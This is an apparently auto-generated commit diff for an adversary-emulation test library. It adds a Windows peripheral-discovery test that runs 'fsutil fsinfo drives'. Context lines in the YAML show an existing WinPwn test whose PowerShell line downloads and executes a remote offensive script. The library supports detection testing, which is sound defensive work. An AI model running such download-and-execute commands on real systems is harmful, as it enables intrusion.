Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1654,6 +1654,7 @@ discovery,T1135,Network Share Discovery,9,WinPwn - shareenumeration,987901d1-5b8
|
||||
discovery,T1135,Network Share Discovery,10,Network Share Discovery via dir command,13daa2cf-195a-43df-a8bd-7dd5ffb607b5,command_prompt
|
||||
discovery,T1120,Peripheral Device Discovery,1,Win32_PnPEntity Hardware Inventory,2cb4dbf2-2dca-4597-8678-4d39d207a3a5,powershell
|
||||
discovery,T1120,Peripheral Device Discovery,2,WinPwn - printercheck,cb6e76ca-861e-4a7f-be08-564caa3e6f75,powershell
|
||||
discovery,T1120,Peripheral Device Discovery,3,Peripheral Device Discovery via fsutil,424e18fd-48b8-4201-8d3a-bf591523a686,command_prompt
|
||||
discovery,T1082,System Information Discovery,1,System Information Discovery,66703791-c902-4560-8770-42b8a91f7667,command_prompt
|
||||
discovery,T1082,System Information Discovery,2,System Information Discovery,edff98ec-0f73-4f63-9890-6b117092aff6,sh
|
||||
discovery,T1082,System Information Discovery,3,List OS Information,cccb070c-df86-4216-a5bc-9fb60c74e27c,sh
|
||||
|
||||
|
@@ -1096,6 +1096,7 @@ discovery,T1135,Network Share Discovery,9,WinPwn - shareenumeration,987901d1-5b8
|
||||
discovery,T1135,Network Share Discovery,10,Network Share Discovery via dir command,13daa2cf-195a-43df-a8bd-7dd5ffb607b5,command_prompt
|
||||
discovery,T1120,Peripheral Device Discovery,1,Win32_PnPEntity Hardware Inventory,2cb4dbf2-2dca-4597-8678-4d39d207a3a5,powershell
|
||||
discovery,T1120,Peripheral Device Discovery,2,WinPwn - printercheck,cb6e76ca-861e-4a7f-be08-564caa3e6f75,powershell
|
||||
discovery,T1120,Peripheral Device Discovery,3,Peripheral Device Discovery via fsutil,424e18fd-48b8-4201-8d3a-bf591523a686,command_prompt
|
||||
discovery,T1082,System Information Discovery,1,System Information Discovery,66703791-c902-4560-8770-42b8a91f7667,command_prompt
|
||||
discovery,T1082,System Information Discovery,7,Hostname Discovery (Windows),85cfbf23-4a1e-4342-8792-007e004b975f,command_prompt
|
||||
discovery,T1082,System Information Discovery,9,Windows MachineGUID Discovery,224b4daf-db44-404e-b6b2-f4d1f0126ef8,command_prompt
|
||||
|
||||
|
@@ -2296,6 +2296,7 @@
|
||||
- [T1120 Peripheral Device Discovery](../../T1120/T1120.md)
|
||||
- Atomic Test #1: Win32_PnPEntity Hardware Inventory [windows]
|
||||
- Atomic Test #2: WinPwn - printercheck [windows]
|
||||
- Atomic Test #3: Peripheral Device Discovery via fsutil [windows]
|
||||
- [T1082 System Information Discovery](../../T1082/T1082.md)
|
||||
- Atomic Test #1: System Information Discovery [windows]
|
||||
- Atomic Test #2: System Information Discovery [macos]
|
||||
|
||||
@@ -1594,6 +1594,7 @@
|
||||
- [T1120 Peripheral Device Discovery](../../T1120/T1120.md)
|
||||
- Atomic Test #1: Win32_PnPEntity Hardware Inventory [windows]
|
||||
- Atomic Test #2: WinPwn - printercheck [windows]
|
||||
- Atomic Test #3: Peripheral Device Discovery via fsutil [windows]
|
||||
- [T1082 System Information Discovery](../../T1082/T1082.md)
|
||||
- Atomic Test #1: System Information Discovery [windows]
|
||||
- Atomic Test #7: Hostname Discovery (Windows) [windows]
|
||||
|
||||
@@ -95339,6 +95339,15 @@ discovery:
|
||||
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
||||
printercheck -noninteractive -consoleoutput
|
||||
name: powershell
|
||||
- name: Peripheral Device Discovery via fsutil
|
||||
auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686
|
||||
description: Performs pheripheral device discovery utilizing fsutil to list
|
||||
all drives.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: fsutil fsinfo drives
|
||||
name: command_prompt
|
||||
T1082:
|
||||
technique:
|
||||
modified: '2023-03-30T21:01:40.871Z'
|
||||
|
||||
@@ -77922,6 +77922,15 @@ discovery:
|
||||
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
||||
printercheck -noninteractive -consoleoutput
|
||||
name: powershell
|
||||
- name: Peripheral Device Discovery via fsutil
|
||||
auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686
|
||||
description: Performs pheripheral device discovery utilizing fsutil to list
|
||||
all drives.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: fsutil fsinfo drives
|
||||
name: command_prompt
|
||||
T1082:
|
||||
technique:
|
||||
modified: '2023-03-30T21:01:40.871Z'
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
|
||||
- [Atomic Test #2 - WinPwn - printercheck](#atomic-test-2---winpwn---printercheck)
|
||||
|
||||
- [Atomic Test #3 - Peripheral Device Discovery via fsutil](#atomic-test-3---peripheral-device-discovery-via-fsutil)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -72,4 +74,32 @@ printercheck -noninteractive -consoleoutput
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #3 - Peripheral Device Discovery via fsutil
|
||||
Performs pheripheral device discovery utilizing fsutil to list all drives.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** 424e18fd-48b8-4201-8d3a-bf591523a686
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `command_prompt`!
|
||||
|
||||
|
||||
```cmd
|
||||
fsutil fsinfo drives
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
Reference in New Issue
Block a user